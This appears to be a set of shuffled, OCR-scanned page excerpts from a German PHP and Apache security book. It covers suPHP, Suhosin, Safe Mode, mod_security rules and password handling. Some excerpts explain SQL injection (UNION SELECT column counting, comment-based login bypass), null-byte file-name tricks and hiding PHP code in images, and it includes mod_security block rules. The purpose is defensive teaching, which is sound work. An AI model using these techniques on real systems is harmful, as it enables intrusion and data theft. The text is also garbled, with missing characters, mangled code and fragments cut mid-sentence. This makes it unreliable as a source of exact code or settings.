330. lbe wie die Features von suExec weswegen es im Grunde keine Veranlassung gibt ein externes Modul einzusetzen Jedoch ist suPHP in der Konfiguration in gewisser Weise etwas einfacher einzusetzen weshalb es eine interessante Alternative zu suExec darstellt Dar ber 4 http www suphp org 232 10 PHPintern Konfiguration f r suPHP configure hinaus erlaubt es Ihnen beliebig viele PHP Versionen parallel zueinan der einzusetzen was insbesondere auf Servern die f r Softwareent wicklung genutzt werden ein sehr interessantes Feature ist Ein weiteres auf den ersten Blick eher unscheinbares Feature unterscheidet suPHP noch von suExec Mit einem Konfigurationspa rameter f r die httpd conf k nnen Sie ohne jegliche Rekonfiguration des PHP Binarys den Pfad f r die php ini pro virtuellem Host einzeln setzen Das suPHP Archiv enth lt neben der eigentlichen Wrapper Datei auch Module f r Apache 1 und 2 die f r die Kommunikation mit dem Webserver zust ndig sind Zun chst m ssen Sie ganz hnlich wie bei suExec das Paket konfigurieren Dazu geben Sie die blichen not wendigen Parameter beim configure Skript an configure prefix usr local with apxs usr local apache bin apxs with apache user httpd sysconfdir etc httpd with setid mode paranoid Der folgende Hinweis gilt f r suPHP 0 6 3 in neueren Versionen ist das Problem eventuell behoben Bevor Sie die Kompilierung starten m ssen Sie jedoch
331. le zu kompilieren und zu installieren unter anderem auch PHP PHP selbst wird ebenfalls ber das zur Quelldistribution geh rende Skript configure auf Ihrem System eingerichtet und die notwen digen Extensions werden zur Kompilierung vorbereitet Hier gilt Weniger ist mehr kompilieren Sie nur die Erweiterungen ein die Sie wirklich ben tigen Bei Projektservern ist das nat rlich leichter zu ermitteln als auf Hosting Rechnern aber das Grundprinzip Whitelist statt Blacklist sollten Sie auch hier im Hinterkopf behalten Ein typisches configure Kommando das weitgehend frei von problematischen Extensions ist finden Sie hier einer der Autoren verwendet es unter anderem f r die PHP 4 Installation auf seinen eige nen Servern configure with mysql usr local mysql with apxs usr local apache bin apxs with gd with jpeg dir with png dir with freetype dir with dom enable memory limit disable cgi enable xsit with zlib with config file path etc httpd with openss Der f r die Installation als Modul wichtigste Parameter ist with apxs das den vollen Pfad zum apxs Skript angibt Dieses Skript wird genutzt um PHP exakt auf die gerade eingesetzte Apache Version ein zustellen und alle f r die bersetzung als Apache Modul notwendigen Parameter zu konfigurieren Die standardm ig auch beim Komypilie ren von mod_php vorgenommene Erste
332. leichen verwenden um Typenmanipulationen zu vermeiden Sie m ssen sich aber auch vor Augen f hren dass Variablen aus _GET _POST und _COOKIE immer als String in den globalen Namensraum bernommen werden Um nun den gewollten Datentyp zu erhalten stellt PHP f r die Typisierung die Funktion settype zur Verf gung An diese Funktion k nnen die Variable und der gew nschte Typ bergeben werden Wenn es sich nun um einen Parameter handelt der ein Integer sein soll der aber Text enth lt werden alle Buchstaben in diesem String gel scht Aus Strings wie 1234abc wird so 1234 lt php varl 1234abc string var2 true boolean settype varl integer varl ist jetzt ein Integer 1234 settype var2 string var2 ist jetzt ein String 1 gt Einfacher ist die Typumwandlung mit dem Cast Operator Mit dem Variablentyp in Klammern vor der zu typisierenden Variablen kann diese Umwandlung einfach durchgef hrt werden lt php var_int int _GET id gt Folgende Typbezeichnungen gibt es f r den Cast Operator bool f r true oder false int f r Integerwerte float f r Flie kommazahlen fr her hie dieser Typ double ab PHP 4 2 0 wurde dieser in float umbenannt 3 4 Variablen richtig pr fen 69l string f r Zeichenketten array f r Arrays object f r Klassen oder sonstige Objekte null f r NULL Werte Um eine Manipulation von numerischen Va
333. leusen Session Riding K nnen Angreifer Benutzer mit einer offenen Session durch z B lt img gt Tags zu Aktionen zwingen Session Fixation K nnen Angreifer Session IDs vorgeben die dann vom System weiterverwendet werden Session Hijacking Kann der Angreifer eine Session mit ihm bekannter Session ID bernehmen Gibt es berpr fungen auf User Agent IP 0 Mail Header Injection Ist es einem Angreifer m glich in ein Mailformular eigene Header und somit Spammails einzuschleusen Werden Daten auf Vorhandensein von Umbr chen gepr ft 315 B Wichtige Optionen in php ini Viele Einstellungen in der Konfigurationsdatei php ini k nnen Para meter oder ihr Verhalten beeinflussen In der folgenden bersicht sind diese Konfigurationsoptionen angegeben B 1 variables_order M gliche Einstellungen E Environment Variablen G GET Variablen P POST Variablen C Cookie Inhalte S Session Variablen Voreinstellung GPCS Bereich PHP_INI_ALL Diese Konfigurationsoption bestimmt die Reihenfolge des Parsens der Variablen Die Standardeinstellung steht auf GPCS GET POST COOKIE SESSION Environment Variablen wurden mit PHP 5 aus der Reihenfolge entfernt Um auf diese zuzugreifen sollte man die PHP Funktion get_env verwenden Wird eine der Variablen aus der Konfigurationsoption entfernt so ist das entsprechende superglobale Array leer Beispiel variables_
334. llback Funk tion und enth lt als Filterargument die Konstante FILTER_CALLBACK Der R ckgabewert des Callbacks bestimmt den Return Wert des filter_input in diesem Falle w rde bei einer erfolgreichen Pr fung die Postleitzahl zur ckgegeben Mit Callback Funktionen k nnen Sie einige interessante Ideen ver wirklichen sto en allerdings bisweilen an die Grenzen der Filter API Die f r deutsche Bankkontodaten oft notwendige Pr fung der Zuord nung BLZ zu Kontonummer l sst sich mittels einer Callback Funktion nicht sauber realisieren da filter_input und filter_var nur ein 9 13 Fazit 207 Argument annehmen Wird als zu filternde Variable ein Array berge ben so wird f r jedes Element des Arrays filter_var einmal ausge f hrt um mehrere Werte an eine Callback Funktion zu bergeben m ssten Sie also einen Umweg gehen und die Werte z B in einem seri alisierten Array als String bergeben Das kann jedoch nicht der rich tige Weg sein es bleibt also die Hoffnung auf einige API nderungen in der Zukunft 9 13 Fazit Wie sich die Filter Extension entwickeln wird bleibt weiterhin abzu warten Richtig ist dass sie im PHP Kern eine L cke schlie t die bis dato von benutzerdefinierten Funktionen in PHP geschlossen werden musste Auch der Ansatz ber input_filter nur selektiv die Teile der Request Variablen in den Skriptkontext zu importieren die den Filter regeln gen gen ist sinnvoll Es bleibt jedoch zu bezwe
335. lle Datenbank INFORMATION_SCHEMA gibt aus der Datenbank und Tabellennamen extrahiert werden k n nen Datenspalten z hlen Werden detaillierte Fehlermeldungen ausgegeben kann die Anzahl der Spalten relativ einfach in Erfahrung gebracht werden Hierbei muss bei UNION SELECT mit einem auszulesenden Feld begonnen werden und immer pro Anfrage um ein weiteres Datenfeld erg nzt werden bis die richtige Anzahl der Felder erreicht ist und sich der Fehler column number mismatch in einen column type mismatch verwandelt Dann hat man die richtige Anzahl der Datenfelder muss gegebenenfalls aber noch die Feldtypen variieren um eine berein stimmung mit dem ersten Teil der Query herzustellen Bei ausgeschal teten Fehlermeldungen ist das nicht so einfach Hier w re die vorherige Methode aussichtslos da wir keinen R ckschluss auf den Fehler zie hen k nnen Dabei kann uns das Schl sselwort ORDER BY helfen Wenn wir nun an unsere SQL Injection ein ORDER BY anf gen ndert das die Reihenfolge der Ergebnisse in der Ergebnismenge Dies geschieht normalerweise unter Angabe eines oder mehrerer Spaltenna men nach denen sortiert werden soll Dies kann am besten an einem Beispiel verdeutlicht werden Eine g ltige Injection wird mit einem Parameter durchgef hrt der den Inhalt 1110344 ORDER BY Name hat Das SQL Statement sieht dann folgenderma en aus SELECT Name FROM Users WHERE 1D 1110344 ORDER BY Name AND status Active
336. llung eines CGI Binarys k n nen Sie mit dem Parameter disable cgi unterbinden es wird dann lediglich ein auf der Kommandozeile ausf hrbares PHP kompiliert Nach der Konfiguration von PHP bersetzen und installieren Sie es wie gewohnt mit den Kommandos make und make install die Installation beinhaltet auch eine Kopie der wichtigsten PEAR Biblio theken Configure Kommando f r mod php 216 10 PHPintern Durch apxs wurde das kompilierte PHP Modul in der Apache Konfigurationsdatei bereits aktiviert Sie m ssen nun nur noch die pas senden Dateiendungen f r PHP Skripte und PHP Quelldateien regist rieren AddType application x httpd php php AddType application x httpd php source phps Nach dem obligatorischen Webserver Neustart ist PHP dann aktiviert und Sie k nnen mit den Sicherungsma nahmen beginnen 10 5 2 CGI Die bersetzung und Installation von PHP als CGI gestaltet sich naturgem recht hnlich Sie ben tigen f r ein CGI PHP das apxs Skript allerdings nicht und der Webserver muss nicht einmal DSO f hig sein Einen wichtigen Parameter f r das configure Skript sollten Sie jedoch nicht vergessen um Sicherheitsprobleme zu verhindern Die Option enable force cgi redirect dient dazu einen direkten Aufruf des PHP Binarys z B ber die URL oder aus Skripten heraus zu ver hindern hier w rden wichtige hostabh ngige Einstellungen wie der Safe Mode missachtet Somit sieht ein configure String f r
337. lt match gt lt parm name plz gt lt type name integer gt lt attr name minval value 01000 gt lt attr name maxval value 99999 gt lt parm gt lt parm name anrede gt lt type name enum gt lt attr name option value Herr gt lt attr name option value Frau gt lt attr name option value Dr gt lt attr name option value Prof gt lt parm gt lt parm name preis1 gt lt type name preis gt lt parm gt lt url gt lt parmguard gt 12 4 5 Automatische Erzeugung Ist Ihnen die manuelle Erzeugung einer XML Datei aus Ihren Anwen dungsvariablen zu anstrengend k nnen Sie die mit dem Quellcode von mod_parmguard gelieferte Hilfsapplikation html spider p1 dazu einset zen Sie finden das Programm im Unterverzeichnis generator im Quell verzeichnis Dieser kleine Spider verwendet einige CPAN Module um HTML Formulare zu analysieren und daraus automatisch eine mod_ parmguard Datei zu erstellen Allerdings k mmert sich htmlspider pl nicht um URL Parameter sondern beachtet ausschlie lich Formulare Sie m ssen also u U noch einige der f r Ihre Anwendung notwendigen Parameter in der entstehenden Datei nachtragen Die Anwendung von htmlspider pl ist recht einfach Sie rufen ein fach das Perl Skript mit dem Parameter h http ihrserver de start datei auf wobei die zu bergebende URL den Ausgangspunkt des Spi derings darstellen soll Das Skript folgt automatisch allen Link
338. lt das ganze Statement in ein FALSE State ment OR 1 1 in ein TRUE Statement In einigen F llen kann das genug sein bei den meisten wird ein Ver ndern der WHERE Klausel nicht rei chen Bei einem Angriff mit den SQL Schl sselw rtern ORDER BY oder GROUP BY aber vor allem bei einer SQL Injection mit UNION k nnen die nachfolgenden Zeichen oder Schl sselw rter im SQL Statement st ren Diese kann man mit den Kommentarzeichen oder ausblenden bzw auskommentieren Alles was nach diesen Zei chen im SQL Statement folgt wird vom SQL Server als Kommentar angesehen und f r die Ausf hrung ignoriert und sind Kommentarzeichen in MySQL die anderen gelten f r den Microsoft SQL Server Oracle usw Hier das klassische Beispiel einer SQL Abfrage f r ein Login For mular SELECT Username UserID Password FROM Users WHERE Username user AND Password pass Wird hier nun ein Peter eingegeben wird folgende WHERE Klausel generiert WHERE Username Peter AND Password pass Hier wurde nicht nur die Syntax richtig erkannt es wird auch die Authentifizierung umgangen Das gleiche Statement nur nicht mehr ganz so einfach WHERE Username user AND Password pass Unser Augenmerk liegt hier auf den umschlie enden Klammern Hier ist es f r einen Angreifer n tig die ge ffnete Klammer auch wieder zu schlie en W rden wir unsere Attacke von vorhin wiederholen so
339. lt sich niemand wohl wenn seine pers nlichen Daten unverschl sselt bertragen werden und prinzipiell von jedermann abgeh rt werden k nnen SSL kurz f r Secure Sockets Layer wird von den meisten Web servern insbesondere von Apache unterst tzt Ein spezielles Server modul mod_ssl bietet Funktionen an die mit der Open Source Bibli othek OpenSSL Toolkit zusammenarbeiten Der Einsatz von SSL f r Webserver erf llt zweierlei Aufgaben Zum einen werden alle Daten die von Ihrem Server zum Anwender dem Client bertragen werden verschl sselt und zum anderen kann der Client anhand eines sogenannten Zertifikates Ihre Identit t nachpr fen Ein solches Zertifikat wird von einigen Firmen wie z B InstantSSL Thawte oder VeriSign ausgestellt nachdem diese Ihre Identit t und die Existenz Ihrer Firma falls angebracht eingehend gepr ft haben Sie also anhand der von Ihnen vorgelegten Informatio nen authentifiziert wurden Ein Benutzer kann sich nach dieser ber pr fung darauf verlassen dass er tats chlich eine Verbindung zur Firma Meier und S hne Internetdienstleistungen aufgebaut hat das Zertifikat best tigt dies Da die berpr fung seitens des Zertifi katsausstellers jedoch nur einmal pro Zertifikatslaufzeit vorgenom http www openssl org http www instantssl com http www thawte com http www verisign com BD 148 6 Authentisierung und Authentifizierung Man in the Middle
340. m date Alarm 2 mail s Suhosin Alert Include Verstoss auf HOST MAIL fi 11 5 Konfiguration 267 Ein PHP Logging Skript das Includeverst e mitsamt einem PHP Backtrace per E Mail an Sie sendet w rde ungef hr so aussehen lt php mail ihre mailadresse de host urlencode _SERVER HOST message Suhosin auf host hat den folgenden Angriff geloggt n n message htmlentities SUHOSIN_ERROR n n message htmlentities var_export debug_backtrace true mail mail Suhosin Include Angriff message gt 11 5 4 Transparente Verschl sselung Wie bereits erw hnt kann Suhosin auf Wunsch Cookies und Session Daten transparent f r die Anwendung verschl sseln Das bedeutet Ausgehende Cookies werden automatisch verschl sselt und vor dem Registrieren der Cookie Variablen vom Server wieder entschl sselt Sessions werden nach der Serialisierung und vor der Speicherung auf der Festplatte des Servers verschl sselt und nach dem Lesen jedoch vor der Deserialisierung wieder entschl sselt In der Defaultkonfigura tion von Suhosin werden Sessions verschl sselt Cookies aber nicht da manche Applikationen von JavaScript aus auf Cookies zugreifen und dies bei verschl sselten Cookies nat rlich zu Fehlern f hrt Der Client also ein Webbrowser sieht n mlich nur einen unlesbaren String wo er Cookie Variablen erwartet Aktiviert werden k nnen die Cookie und Session Verschl sselung be
341. m passenden Patch suExec oder mod_suid k nnen zu mindest nicht beliebige Dateien geschrieben werden sodass sich die Aus bruchsm glichkeiten auf einen reinen Lesezugriff einschr nken lassen Externe Binaries rei en L cher in den Safe Mode sie lassen sich auch nicht durch open_basedir aussperren 10 7 3 safe_mode_include_dir Mit dieser Konfigurationsdirektive die wie f r Safe Mode Einstellun gen blich in VirtualHost Bl cken und der php ini aktiviert werden kann beschr nken Sie den Zugriff f r include und require auf das bzw die angegebenen Verzeichnisse M chten Sie mehrere Verzeich nisse definieren tun Sie das wie blich ber eine per Doppelpunkt getrennte Liste safe mode include dir usr local lib php usr lib PEAR 222 10 PHPintern 10 7 4 Umgebungsvariablen im Safe Mode Um zu verhindern dass Angreifer von innen oder au en wichtige Umgebungsvariablen per PHP ndern sind diese im Safe Mode beson ders gesch tzt Die Variablen LD_PRELOAD und LD_LIBRARY_PATH etwa steuern wel che Bibliotheken zur Laufzeit von PHP vorgeladen preloaded wer den und in welchem Pfad nach den Libraries gesucht werden soll gegen die praktisch jede Bin rdatei gelinkt wurde Erlangt ein Angrei fer Schreibzugriff auf diese Variablen kann sie also per ini_set ndern so k nnte er ber eine entsprechend pr parierte Bibliothek aus dem Safe Mode ausbrechen und so seine Privilegien erh hen In der Praxis
342. manager Der PHP Speichermanager in Version 5 2 0 lie sich von einer Anfrage nach mehr als 2 GB Speicher aus dem Tritt bringen und lieferte statt des angeforderten Speichersegments eines mit der minimal m glichen Gr e zur ck Dieser Fehler l sst sich nicht direkt wohl aber z B durch speziell pr parierte Anfragen ber den in PHP integrierten SOAP Client ausl sen Als Fehler Nr 44 war dieser Bug im Month of PHP Bugs enthalten 10 2 Bestandteile eines sicheren Servers 211 10 1 5 Speicherproblem dank htmlentities In PHP 4 und PHP 5 gab es bis zur Version 5 1 6 bzw 4 4 4 eine kriti sche L cke in der Funktion htmlentities die daf r sorgen konnte dass der Heap Speicher mit vom Angreifer bergebenen Daten ber schrieben wurde Dadurch war es unter Umst nden m glich eigenen Code auszuf hren Besonders unangenehm war dieses Problem durch die Tatsache dass htmlentities stets direkt mit vom User angegebe nen Daten verwendet wird also leicht angreifbar ist Dieses Problem wurde in PHP 5 2 0 behoben 10 1 6 Bewertung Sicherheits Bugs in PHP sind zwar selten kommen aber dennoch vor Besonders problematisch ist dass ein Fehler im Kern der Skriptsprache oft dazu genutzt werden kann eigenen Schadcode auszuf hren und so Backdoors und Rootkits auf dem Webserver hochzuladen und zu benutzen Daher sollten Sie stets ein wachsames Auge auf m glicher weise neu entdeckte Security Fehler in PHP haben und den Harde
343. merisch also aus Buchstaben und Ziffern zusammen zusetzen Dazu f gen Sie dem Methodenaufruf einfach ein zus tzliches Argument hinzu pass password gt create 8 unpronounceable alphanumeric Derart erstellte Passw rter sehen etwas freundlicher aus n mlich ungef hr so S5uJNIMjE q2hZwN48 AGxSAC7Y tj60amgt qH2S3gjz 6SRO3wWpu 471Gali6 kmRgOAsQ Nat rlich k nnen Sie als letzten Parameter auch einfach eine kom magetrennte Liste der von Ihnen f rs Passwort gew nschten Zeichen bergeben Wenn Sie z B ein Passwort ausschlie lich aus Konsonan ten und ungeraden Ziffern zusammensetzen m chten s he das so aus pw pass gt createMultiple 8 10 unpronounceable b d f g h j k 1 m n p q r S t v w x 2 1 3 5 7 9 Sie k nnen nun Ihren neuen Benutzern ein oder mehrere solcher Pass w rter zur Auswahl anbieten und als erstes Nutzer Passwort setzen Sichere Passw rter sollten stets mit Text_Password erstellt werden 6 2 5 Passwort Sicherheit bestimmen Damit Ihre Nutzer auch die M glichkeit haben ihre Passw rter zu ndern Sie aber trotzdem nicht bef rchten m ssen dass leicht errat bare Zugangskennungen zu einer Kompromittierung Ihrer Anwen dung f hren sollten Sie nach jeder versuchten Passwort nderung das neue Passwort berpr fen und gegebenenfalls ablehnen Dazu gibt es in PECL in PHP 4 noch in der Kerndistribution die Extension ext crack Sie bietet ein Interface zu der in
344. meta name generator content TYPO3 4 1 CMS gt Nach M glichkeit sollten diese Tags aus der produktiven Website ent fernt oder durch Fantasiewerte ersetzt werden 2 10 Default User Viele Applikationen oder Dienste legen bei ihrer Installation einen Default User an H ufig ist dies ein Default User Name ohne Passwort MySQL legt z B den Datenbank User root ohne Passwort an Dieser darf nicht mit dem Betriebssystem User root in Unix basier ten Systemen verwechselt werden Das Datenbanksystem weist zwar beim Start darauf hin trotzdem wird dieser User manchmal nicht mit einem Passwort versehen Ist das bei Ihrer Datenbank auch der Fall so sollten Sie umgehend ein Passwort f r den Datenbank User root vergeben Denn so bieten sich f r Angreifer oder Security Tester erneut Angriffspunkte am System die ausgenutzt werden k nnen Aber nicht nur Dienste wie Datenbanken legen Default User an Foren und Con tent Management Systeme legen ebenfalls bei der Installation einen Administrator Account an Dieser sollte nach erfolgreicher Installation gel scht oder zumindest ge ndert werden H ufig eingesetzte Default User sind administrator Administrator admin Admin root Root Das Passwort kann leer sein oder dem Usernamen entsprechen L schen Sie Default User und Passwort gleich nach der Installa tion und vergeben Sie f r User ohne Passwort ein schwer erratbares neues Passwort Dieses Passwort muss mindestens eine
345. mlung verwendet werden k nnen Sch tzen Sie Administrations Log oder Konfigurationsverzeichnisse immer mit einer htaccess Datei oder plazieren Sie sie au erhalb des Dokumenten verzeichnisses Ein sehr interessanter Pfad ist der cvS Pfad ein Pfad des Versionskon trollsystems CVS das f r die Versionsverwaltung von Dateien haupt s chlich Softwarequellcode zust ndig ist CVS vereinfacht die Verwal tung von Quellcode dadurch dass es alle Dateien eines Softwarepro jektes an einer zentralen Stelle einem sogenannten Repository speichert Dabei k nnen jederzeit einzelne Dateien ver ndert werden es bleiben jedoch alle fr heren Versionen erhalten einsehbar und wie derherstellbar auch k nnen die Unterschiede zwischen bestimmten Versionen verglichen werden Die Arbeitskopie eines per CVS versio nierten Projektes wird in ein separates Verzeichnis etwa auf dem Rechner des Bearbeiters oder einem Staging oder Testserver kopiert im CVS Jargon hei t das Checkout Damit nderungen in diesem ausgecheckten Projekt auch ihren Weg in das Repository finden existiert das Unterverzeichnis CVS In diesem Pfad befinden sich Dateien die User Informationen und Pfade enthalten und so R ck schluss auf weitere versteckte Dateien oder Pfade geben k nnen Fol gende Dateien befinden sich im Verzeichnis cvs Entries Diese Datei enth lt alle Dateinamen und Pfade die unterhalb des aktuellen Verzeichnisses liegen Die Dateien sind
346. n Gerade ltere Windows Anwendungen hatten oft die unange nehme Eigenschaft tempor re Dateien im aktuellen Arbeitsverzeichnis abzulegen Sp testens mit der Einf hrung von Windows XP hat jedoch der Pfad TEMP der jeder Anwendung zur Verf gung steht als Stan dardverzeichnis f r tempor re Dateien Einzug gehalten Auch Programme unter Unix basierten Systemen zeigen h ufig ein solches Verhalten allen voran der beliebte Texteditor vi Beim ffnen einer Datei mit einem Editor entstehen dadurch Dateien mit der Datei endung tmp php php swp oder einfach nur Je nachdem wie die Datei benannt ist entstehen dann Dateien die z B index php oder index php swp hei en Der Apache Webserver parst jedoch alle Dateien bei denen sich ein php im Dateinamen befindet egal ob am Ende oder anderswo Hierf r ist das Modul mod_mime verantwortlich das es jedoch nur beim Apache Webserver gibt Dieses Modul sorgt u a daf r dass verschie dene Sprachversionen einer Datei automatisch anhand der Browser 2 6 Datei Altlasten 29l einstellungen ausgew hlt werden Eine Datei namens index php swp w rde dank des Moduls mod_mime korrekt als PHP geparst und nur der vom Entwickler beabsichtigte Output w rde angezeigt Hief e eine tempor re Datei jedoch index php bek me der Client den Quellcode dieser Datei zu Gesicht Andere Webserver als Apache reagieren in diesen F llen anders Sie behandeln Dateien die nicht eindeutig mit
347. n nen Sie die berpr fung von per POST bermittelten Requests aktivie ren die im Auslieferungszustand ausgeschaltet ist Es empfiehlt sich POST Scanning zu aktivieren da viele Angriffe z B ber Suchfelder auf Ihrer Site nicht nur per GET sondern auch ber POST Requests angesto en werden k nnen Sie sollten dabei jedoch Vorsicht walten lassen Sendet ein Angrei fer POST Anfragen im sogenannten Chunked transfer encoding bei dem die Gesamtl nge des Requests nicht vorab bekannt ist ignoriert mod_security den kompletten K rper der Anfrage Gleiches gilt f r Formularcodierungen die nicht appl ication x www form urlencoded oder mod_security aktivieren POST Anfragen untersuchen 282 12 Webserver Filter f r Apache Codierung berpr fen Version anzeigen multipart form data sind das Modul kann mit diesen Formularen nicht umgehen Sie k nnen jedoch mit zwei Filterregeln die wir zun chst unkommentiert bernehmen wollen beide Probleme verhin dern SecFilterSelective HTTP_Content Type 1 application x www formurlencoded multipart form data SecFilterSelective HTTP_Transfer Encoding Das Security Modul kann auch die verwendete Codierung in URLs und im Request K rper berpr fen um Angriffe mit falsch codierten Zeichen zu verhindern Dazu gibt es zwei Direktiven eine f r UTF 8 und eine f r normale URL Codierung nach RFC 1738 Um zu berpr fen ob die URL korrekt URL codiert wurde z
348. n Das typische Scriptkiddy verf gt ber eine gut sortierte Bibliothek vorgefertigter Angriffstools f r viele verschiedene L cken und sucht sich seine Opfer meist anhand vorhandener L cken aus Derartige Angreifer werden sich vor allem leichte Ziele aussuchen die gleichzeitig vielverspre chende M glichkeiten bieten Ein Webserver der schnell ans Internet angebunden ist und auf dem eine uralte Version des Forums phpBB verwendet wird ist verlockende Beute f r Scriptkiddies Er ist leicht zu knacken und kann dann als Ablageplatz f r Raubkopien oder als Relay also Zwischenstation f r weitere Angriffe missbraucht werden Ist aber die verwendete Software auf dem neuesten Stand oder auch recht unbekannt wird mehr Aufwand notwendig um in den Ser ver einzudringen ein Einbruch lohnt sich oft nicht mehr und die meis 1 3 Wichtige Begriffe ten Scriptkiddies werden schnell von einem Server ablassen der auf den ersten meist automatisierten Blick keine Angriffsfl che bietet Ein Unternehmen das sehr viele wertvolle Daten verwaltet ist jedoch auch f r erfahrenere Cracker die ihre Raubz ge aus kommerzi ellen Gr nden durchf hren ein sehr attraktives Ziel Hacker werden viel Zeit und Mittel aufwenden um an diese Daten zu gelangen es reicht daher nicht die Datei mit s mtlichen Kundendaten in einem ver steckten aber f r den Webserver zug nglichen Verzeichnis abzulegen Sobald die m glichen Eindringlinge das Ziel als
349. n Dazu geh rt die berpr fung ob das auszuf hrende Pro gramm in diesem Falle das PHP Binary dem ausf hrenden Nutzer geh rt ob alle Verzeichnisse auf dem Weg lesbar sind und ob das CGI nicht mehr Rechte hat als unbedingt notwendig Insbesondere in Ver bindung mit open_basedir k nnen Sie den Webserver so fast wasser dicht absichern suFxec geh rt nicht zur Standardinstallation von Apache und muss separat vor der bersetzung aktiviert werden Mit einigen Direk tiven f r das Apache Konfigurationsskript k nnen Sie die notwendi gen Grundeinstellungen f r suExec vornehmen die wichtigsten m chten wir kurz vorstellen enable suexec aktiviert die suExec Funktion Diese Direktive muss von einer der anderen suExec Konfigurationsdirektiven gefolgt werden suexec caller lt username gt ist der Benutzername von dem das suExec Binary aufgerufen wird Hier sollten Sie den Benutzerna men eintragen der von Ihrem Webserver verwendet wird also httpd oder www data Mit dem Unix Befehl grep User httpd conf respektive grep Group httpd conf k nnen Sie herausfinden mit wel chem Benutzer und Gruppennamen Ihr Webserver betrieben wird suexec docroot lt path gt ist die wichtigste Einstellung bei der Konfiguration von suExec Mit der Pfadangabe die in dieser Option enthalten sein muss definieren Sie das Basisverzeichnis unter dem suExec arbeitet In der Regel geben Sie hier das sp tere Document Root an z B home www oder usr loc
350. n Diese M glichkeit ist ideal um ber den Aufruf diverser externer Programme die Datei auf Viren zu berpr fen oder anderweitig festzustellen ob es sich um erw nschte Inhalte handelt Die Anzahl mit einem Upload Vorgang gleichzeitig hochgeladener Dateien l sst sich durch Suhosin mit der Direktive suhosin upload max_uploads beschr nken Im Defaultzustand werden 25 Dateien zuge lassen was durchaus ausreichend ist Die meisten Anwendungen etwa das popul re Gallery Script lassen den Benutzer pro Upload nicht mehr als f nf bis zehn Dateien gleichzeitig zum Server schicken suhosin upload max_uploads 10 272 11 PHP Hardening Virusscan sh Viruspr fung f r Suhosin Die bereits angesprochene Sperre f r ELF Binaries wird mit dem Flag suhosin upload disallow_elf aktiviert Ist diese Einstellung aktiv k n nen keine ELF Dateien hochgeladen werden Linux Viren die es ent gegen der landl ufigen Meinung gibt k nnen nicht per HTTP Upload eingeschleppt werden Viele Communities oder Foren bieten ihren Mitgliedern die M glichkeit eigene Dateien hochzuladen sei es der Lebenslauf im PDF Format Bilder oder gar ausf hrbare Dateien in einer Entwickler Community M chten Sie verhindern dass ber Ihre Server Viren und W rmer verteilt werden k nnen Sie jede hochgeladene Datei von einem externen Skript berpr fen lassen Dieses Skript muss als erste Ausgabezeile 1 zur ckgeben sofern die berpr fung erfolgreich
351. n die zur sp teren Verwendung auf dem Server gespeichert werden Im Safe Mode kommt es an dieser Stelle oft zu Problemen Das ausgef hrte Skript geh rt in der Regel einem FTP Benutzer also beispielsweise dem Benutzer ftpuser1 aus der Gruppe ftpusers Obgleich es f r den Webserver les und ausf hrbar ist dieser ist Mit glied der Gruppe ftpusers werden hochgeladene oder neu angelegte Dateien stets unter dem Benutzer und der Gruppe des Webservers angelegt und das ist normalerweise httpd nogroup oder hnlich Somit geh ren gerade hochgeladene Dateien direkt nach dem Upload nicht mehr dem Nutzer der das PHP Skript ausf hrt und k nnen von diesem Benutzer somit auch nicht mehr manipuliert werden Ein frisch bertragenes Foto kann somit nicht mehr automatisch verkleinert oder mit einem Schriftzug versehen werden weil das Programm das Mani pulationen ausf hren soll keinen Zugriff auf diese Datei mehr hat Um derlei Probleme etwas zu mildern gibt es eine Konfigurations variable die die berpr fung statt auf korrekte UID lediglich auf die Group ID GID durchf hrt Diese Konfiguration ist jedoch recht unn tz denn damit der Safe Mode eine Sicherheitswirkung hat m ss ten sich die Gruppen IDs verschiedener Benutzer unterscheiden und dann m sste entweder der Webserver in jeder dieser Gruppen Mitglied sein oder das Ursprungsproblem w re nicht gel st 10 8 Weitere PHP Einstellungen 10 8 1 open_basedir Die Konfigura
352. n und dort werden alle Zeichen nach der 00 abgeschnitten Das Ergebnis ist dann ein String bild php Die hochgeladene Datei bekommt einen neuen Namen der vom Entwickler festgelegt wird Der Zielpfad liegt au erhalb des Document Root Der Webserver ben tigt f r dieses Verzeichnis nat rlich die ent sprechenden Rechte um die Datei dort abzulegen 85 Bild berpr fung Mithilfe der PHP Funktion getimagesize kann berpr ft werden ob es sich um ein valides Bild handelt Nach Aufruf dieser Funktion wird ein Array mit Informationen ber das Bild zur ckgegeben Handelt es sich um kein valides Bild wird FALSE zur ckgegeben if getImageSize _FILES filename tmp_name FALSE die Kein valides Bild Hier kann auch weiterhin PHP Code in diesem Bild versteckt sein 8 6 PHP Code in ein Bild einf gen 191 86 _ PHP Code in ein Bild einf gen Um PHP Code in einem Bild zu verstecken kann man sich das Format eines GIF oder JPEG Bildes genauer anschauen Der Inhalt eines GIF Bildes GIF8IaTArEArE ErErErE ErE EEE TDATErErEE NEE ererArerArErEB BDArE Von getImageSize wird nur der Header ausgelesen array 7 0 gt int 1 11 gt int 1 2 gt int 1 3 gt string 20 width 1 height 1 bits gt int 1 channels gt int 3 mime gt string 9 image gif Hier sehen Sie dass es sich um ein richtiges Bild handelt da dieses Array korrekt gef llt is
353. n Environment das komplett durch gereicht wird entnommen werden Diese Aktion ist n tzlich um einen Angriff automatisch per Mail an den zust ndigen Administrator zu melden oder um automatisch Gegenaktionen wie die Anpassung von Firewallregeln o einzuleiten Beispiel SecFilter UNION SELECT deny exec home www scripts angriff pl log Weist mod_security an den Filtertreffer im Apache Log zu protokollieren auch wenn der Request zugelassen wird Beispiel SecFilter admin index php pass log nolog Der Filtertreffer soll nicht im Apache Log protokolliert werden N tzlich f r h ufig auftretende aber harmlose Pro bleme wie CodeRed oder Nimda Attacken die ansonsten die Webserver Log Dateien verstopfen w rden Beispiel SecFilter vti bin deny nolog Manche Aktionen k nnen den Ablauf der Filterreihenfolge beein Ablaufder flussen Filterreihenfolge skipnext Falls die aktuelle Regel zutrifft berspringe die fol gende n Regel n Diese Aktion kann n tzlich sein wenn Sie eine Wertpr fung f r bestimmte Variablen durchf hren wol len Mit einer angeh ngten Zahl bestimmen Sie die Anzahl der zu berspringenden Regeln Beispiel SecFilterSelective THE_REQUEST http skipnext 2 e chain Diese Aktion verkettet zwei Filter miteinander was sehr praktisch ist um feink rnige applikationsbasierte Filterre geln zu erstellen Sie k nnen so zum Beispiel Ausdr cke wie Lasse keine URLs in GET Par
